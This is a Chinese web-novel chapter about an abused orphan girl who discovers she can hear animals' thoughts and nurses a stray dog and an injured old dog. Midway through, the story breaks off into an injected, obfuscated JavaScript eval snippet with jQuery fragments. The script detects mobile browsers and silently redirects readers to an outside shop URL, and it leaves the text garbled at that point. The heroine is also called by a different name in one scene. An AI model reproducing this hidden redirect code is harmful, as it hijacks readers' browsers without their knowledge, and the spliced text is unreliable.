香菱关于家的记忆，是一池莲香，和一碗清甜温润的莲子羹。


    那池子很大，仿佛没有边际，亭亭的荷花在夕阳余晖里镶着金红的边。


    水汽氤氲着莲叶的清气，一个温软如水的声音，穿过暖风，轻轻唤她：“莲儿，慢些吃……”


    然后，便是铺天盖地的热浪，浓烟呛进肺里，世界碎裂成尖叫与爆响。


    她被粗暴地塞进一个颠簸的竹筐，视线所及的最后景象，是冲天的火光，将夜幕与莲池一起吞噬。


    高烧三日后醒来，前尘尽忘，只剩湿漉漉的两个字烙在心头：“莲儿”。


    如今香菱住在姑苏城西“百味斋”后巷最逼仄的杂院里。


    收养她的薛大常，是“百味斋”后厨专司宰杀活禽、搬运秽物的杂工，一身洗不净的血腥与下水道气味。


    薛王氏在隔壁绣坊浆洗衣物，双手常年泡得肿胀发白。


    他们当年从人牙子手里“捡”下她，只因那人说：“瞧着眉眼还算周正，养大了，好歹是个使唤丫头；再不济，嫁人也能换几两彩礼。”


    可香菱让他们失望了。


    她怕血，怕到了骨子里。每逢薛大在杂院中石墩上磨刀霍霍，提起一只扑腾尖叫的鸡，她的脸便霎时褪尽血色，胃里翻江倒海，背过身去，捂住耳朵。


    她怕那弥漫不散的、禽类临死前惊恐挣扎的气息，那味道钻进鼻腔，能让她一整天食不下咽。


    “没用的丧门星！”薛大常将沾血的刀往地上一掼，唾沫星子几乎喷到她脸上，“连只鸡都不敢看，老子白养你这些年！晦气！”


    薛王氏冷着脸，将半碗见不到油星的菜汤和一块硬馍塞给她，指着院角鸡鸭混食的破陶盆：“端外边吃去！看着你这副样子就心烦！”


    香菱瑟缩着，不敢辩驳。因为怕没饭吃，她只好抢着干一切能干的活：


    劈柴、挑水、浆洗薛王氏带回来的成堆脏衣、清扫院里永不止息的禽羽与污秽……纤细的手上磨出茧子和裂口。


    她做得越多，似乎越能证明自己值得那一口残羹冷饭。


    长期的饥饿与劳碌，拖住了她生长的脚步。


    十四岁的年纪，身量却单薄得如同人家十一二岁的丫头。


    头发枯黄稀少，衬得那双偶然抬起的、原本该是秋水般的眸子，大得有些突兀。脸上没什么肉，下巴尖尖的，皮肤是一种常年不见阳光的苍白，只在冬日冻出两团不健康的红。


    薛大常原本盘算着将她卖给城东开脂粉铺的鳏夫做填房，或是送到某个小门户里做妾，好歹能回笼些本钱。


    前几日，他真领了个中间人来“看货”。那婆子挑剔的目光像刀子一样刮过蓉姐儿全身，末了，从鼻子里哼出一声冷笑：


    “薛大常，你莫不是穷疯了，拿这么个没长开的豆芽菜来糊弄我？做丫鬟都嫌没力气，还学人家想当姨太太？做梦呢！”


    婆子劈手夺回预付的押金，骂骂咧咧地走了，“养几年？再养十年也是这副小鬼样！晦气！”


    希望落空，还平白遭了顿奚落，薛大常怒不可遏。婆子一走，院门栓死，他便揪住蓉姐儿的头发，拳脚如雨点般落下。


    “赔钱货！丧门星！老子让你不长！让你丢人现眼！”闷响和斥骂声在狭小的院子里回荡。


    香菱不哭不求饶，只是蜷缩成更小的一团，护住头脸，像一片在暴风雨中零落的荷叶。


    不知过了多久，薛大常骂累了，啐了一口，打开门出去了。这时，一个哼哧哼哧的细小声音靠近。


    一只瘦骨嶙峋的小黄狗，从堆杂物的角落钻出来，凑到她身边。


    它伸出温热的舌头，一下，一下，舔舐她沾满尘土与泪痕的脸颊。


    这小黄狗是巷子里的流浪儿。百味斋后巷紧邻酒楼厨房的后墙，每日倾倒的泔水与残羹，吸引着附近的流浪猫狗。


    它来时已饿得皮包骨，肋骨根根可数，后腿还有一处溃烂的伤口，苍蝇围着打转。


    别的野狗对人充满戒惧，龇牙低吼，但这小黄狗第一次见到端着破碗、蹲在角落默默吃饭的香菱时，没有露出獠牙。


    那日，香菱省下了自己本就少得可怜的半块硬馒头，掰成碎屑，放在手心，慢慢伸过去。


    小黄狗的黑鼻子轻轻抽动，犹豫着，最终小心翼翼地伸出舌头卷走她掌心的食物。


    香菱颤抖着手，试图去触碰它腿上溃烂的伤处时，它也只是瑟缩了一下，喉间发出低低的呜咽，却没有躲开，任由她用清水一点点为它擦拭干净。


    从此，它便在这杂院附近徘徊，成了她黑暗世界里，笨拙而真挚的温暖。


    小黄狗湿润的鼻尖碰了碰她的手臂，仿佛在问：“还疼吗？”


    香菱慢慢松开紧抱自己的手臂，伸出手，轻柔地抚过小狗杂乱的皮毛。


    那天之后，香菱给小黄狗取名“狗大”。


    这里的野狗多半是养不活的，要么被饿死，要么被冷死，或者成为被人的发泄工具，而香菱希望她的狗大能平安长大。


    *


    俗话说好人有好报，香菱也迎来了她的好运时刻，她发现自己与狗大之间的交流远超寻常。


    她以为自己是中了邪，或是高烧留下的癔症。


    直到有一次，她在巷尾遇见一只后腿被捕兽夹夹断的老狗。


    老狗凶性大发，见人便龇牙，已有两个想帮它的街坊被咬伤，没人敢上前与它靠近。


    香菱远远站着，她“听”见了老狗狂暴背后的心声——它并非真想伤人，只是太疼、太怕，怕到失去理智，也怕被伤害。


    香菱慢慢靠近，老狗低吼，可她“听”见的，却是它心中哭泣般的哀鸣：“别过来……我怕……好疼……”


    “我不伤你，”香菱在轻声说，她也不知道这话能否传过去，“我只想帮你。”


    她在离狗三步远的地方蹲下，从怀里掏出留给狗大的半块烧饼，掰碎了放在地上。老狗警惕地盯着她，鼻翼翕动，最终抵不过饥饿，瘸着腿上前，狼吞虎咽。


    香菱等它吃完，又掏出一小块。这次，她将饼放在掌心，伸过去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937277|192896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>老狗犹豫了很久。时间很长很长，仿佛有一辈子那么长。最终，它低下头叼走了食物。


    香菱听见了它的故事：它曾有个家，主人是个老篾匠；篾匠死后，它流浪三年，躲过无数次棍棒和陷阱；这次断腿，它以为自己死定了。


    泪水夺眶而出，她本就是一个感性的人，她将手放在狗受伤的腿上。


    香菱犹豫着该如何处理那可怕的伤口时，一直安静蹲在她脚边的狗大突然凑近了老狗，鼻尖在那溃烂的伤口附近东嗅西嗅。


    “疼、这里要洗用那个鱼腥草。”狗大对香菱道。香菱猛地一怔，看向狗大。狗大正用湿漉漉的眼睛回望她，尾巴摇了摇。


    “巷口石头缝里绿色的，叶子像鱼鳞，闻起来腥腥的能洗伤口。”狗大像是刚学会说话的孩子，但意思明确得很。


    香菱的心怦怦直跳。她依言跑到巷口，果然在破墙的石缝里发现几丛叶片奇特、散发着淡淡腥气的绿草。她采了一把回来。


    “嚼碎敷上要干净的布。”狗大交代道，伸着爪子在空中示范着如何操作。


    香菱从自己破旧的裙角撕下相对干净的内衬布条，将鱼腥草塞进嘴里嚼碎——那股又腥又苦的味道让她差点吐出来，但她强忍着，将草渣敷在老狗发黑的伤口上，再用布条固定。


    老狗没有反抗，只是颤抖着，发出一声极低的呜咽。


    “明天还来带吃的它会记住你的味道。”狗大在香菱的脚边转了个圈，用爪子摸摸肚子，又补充道，“我、我也饿了。”


    香菱愣愣地看着狗大，又看看老狗。她不仅能“听见”动物的心声，这些动物似乎也能通过她，彼此交流，甚至传递某种……传承自血脉的本能知识？


    “明天我再来看你，带吃的来。”香菱对老狗道。狗大在一旁欢快地摇着尾巴转圈，像是在附和。


    老狗抬起头，草药让它的疼痛减轻了不少，它站起来活动筋骨，上下点头道：“谢谢。”


    *


    夏日的午后。天气闷热，杂乱的院子仿佛一个蒸笼。


    院子里横七竖八地拉着几根麻绳，上面晾晒着各色衣物——油腻的酒楼帮工短褐、绣坊浆洗后褪色的绸缎边角料、街坊孩子打满补丁的裤褂……


    薛大常醉醺醺地晃进院子，手里拎着一只软绵绵的狸花猫。猫的口鼻带着血沫，气息微弱。


    “晦气东西，偷吃客人的鱼，被砸了个半死。”他骂骂咧咧，作势要往墙角的泔水桶扔。


    “别！”香菱惊呼，扑过去用身体护住，“它还活着！”


    “滚开！救不活的废物，留着占地方！”薛大抬脚要踹。


    “我能救！”香菱死死抱住猫，“求您给我三天！救不活，我饿三天饭！”


    或许是那猫微弱的抽搐，或许是香菱眼中罕见的执拗，薛大常眯着眼看了半晌，哼了一声：“行，你自找的。”


    他将猫往地上一丢，摇摇晃晃进屋歇晌去了。忙过酒楼午市的活计，他总要回来歇晌，既为攒足晚上的力气，也为了盯着香菱，防她偷懒。